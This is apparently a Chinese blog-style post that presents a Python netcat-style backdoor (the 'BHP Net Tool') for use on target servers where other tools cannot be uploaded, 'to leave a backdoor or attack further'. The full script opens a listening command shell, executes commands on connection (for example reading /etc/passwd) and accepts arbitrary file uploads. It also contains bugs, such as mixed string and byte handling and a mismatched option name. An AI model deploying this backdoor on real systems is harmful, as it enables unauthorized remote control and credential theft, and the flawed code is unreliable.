應該場景：

1、當目標伺服器上有python環境（一般linux系統都會預安裝）
2、目標伺服器上不允許安裝其它工具（因為要留後門或進一步攻擊內容就需要上傳各種工具）

#python3.5


import sys
import socket
import getopt
import threading
import subprocess

#全域性引數初始化
listen              = False
command             = False
upload              = False
execute             = ""
target              = ""
 

upload_destination  = ""
port                = 0

def usage():
    print("BHP Net Tool")
    print("Usage: bhpnet.py -t target_host -p port")
    print("-l --listen              - listen on [host]:[port] for"
          " incoming connections")
    print("-e --execute=file_to_run - execute the given file upon"
 

          " receiving a connection")
    print("-c --command             - initialize a command shell")
    print("-u --upload=destination  - upon receiving connection upload a"
          " file and write to [destination]")
    print("Examples:")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=:\\target.exe"
 
)
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"")
    print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")
    sys.exit(0)

def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()
        print("--------")
    try:
        opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",
                                  ["help","listen","execute","target","port","command","upload"])
    except getopt.GetoptError as err:
        print(str(err))
        usage()

    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l","--listen"):
            listen = True
        elif o in ("-e","--execute"):
            execute = a
        elif o in ("-c","--commandshell"):
            command = True
        elif o in ("-u","--upload"):
            upload_destination = a
        elif o in ("-t","--target"):
            target = a
        elif o in ("-p","--port"):
            port = int(a)
        else:
            assert False,"Unhandled Option"

    if not listen and len(target) and port > 0:
        buffer = sys.stdin.read()

        client_sender(buffer)

    if listen:
        server_loop()



def client_sender(buffer):
    client = socket.socket()
    try:
        client.connect((target,port))

        if len(buffer):
            client.send(buffer)
        while True:
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(1024)
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break
            print(response)
            buffer = input("")
            buffer += "\n"

            client.send(buffer)
    except:
        print("[*] Exception! Exiting.")

    client.close()

def server_loop():
    global target

    if not len(target):
        target = "0.0.0.0"

    server = socket.socket()
    server.bind((target,port))

    server.listen(5)

    while True:
        client_socket,addr = server.accept()

        client_thred = threading.Thread(target=client_handler,args=(client_socket,))
        client_thred.start()

def run_command(command):
    command = command.rstrip()
    try:
        output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
    except:
        output = "Falsed to execute command.\r\n"
    return output

def client_handler(client_socket):
    global upload
    global execute
    global command

    if len(upload_destination):
        file_buffer = ""

        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        try:
            file_descriptor = open(upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
        except:
            client_socket.send("Failed to save file to %s\r\n" % upload_destination)

    if len(execute):
        output = run_command(execute)
        client_socket.send(output)

    if command:
        while True:
            client_socket.send("BHP:#> ".encode())

            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024).decode()
                response = run_command(cmd_buffer.encode())
                client_socket.send(response)

main()